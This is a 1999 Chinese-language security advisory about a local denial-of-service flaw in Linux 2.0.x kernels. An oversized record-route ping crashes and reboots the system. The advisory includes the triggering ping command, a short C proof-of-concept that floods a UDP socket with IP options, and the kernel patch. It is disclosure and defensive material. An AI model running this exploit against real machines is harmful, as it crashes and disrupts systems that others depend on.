首页 -> 安全研究

安全研究

安全漏洞
Linux 2.0.x DoS 攻击(PING)

发布日期:1999-12-25
更新日期:1999-12-25

受影响系统:
Linux 2.0.35
Linux 2.0.36
Linux 2.0.38
不受影响系统:
Linux 2.2.0 或更高版本
描述:
概述:  
当运行命令: ping -s 65468 -R some_ip_address ( -R records route)
系统会出现 kernel dumps, 并且在几秒后系统会重新启动. 本地用户可以用这条命令来实施一次有效的拒绝服务攻击。

细节:

主要是在 RedHat 5.2 SRPM 和 i368 RPM 中安装了该ping程序,此ping程序可在以下地址下载:
ftp://ox.compsoc.net/users/swhite/ping/

该漏洞信息是由 Eduardo Cruz 发现和提供的。


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

以下程序是用来测试您的系统是否受该漏洞的影响:

/* Exploit option length missing checks in Linux-2.0.38
Andrea Arcangeli <andrea@suse.de> */

#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>

main()
{
int sk;
struct sockaddr_in sin;
struct hostent * hostent;
#define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
char payload[PAYLOAD_SIZE];

sk = socket(AF_INET, SOCK_DGRAM, 0);
if (sk < 0)
perror("socket"), exit(1);

if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
perror("setsockopt"), exit(1);

bzero((char *)&sin, sizeof(sin));

sin.sin_port = htons(0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(2130706433);

if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
perror("connect"), exit(1);

if (write(sk, payload, PAYLOAD_SIZE) < 0)
perror("write"), exit(1);
}

建议:
以下补丁可以用来修复Linux 2.0.38:

diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@

if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0xffff-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}
if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)

该补丁也可载以下地址找到:
ftp://ftp.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz

浏览次数:6579
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障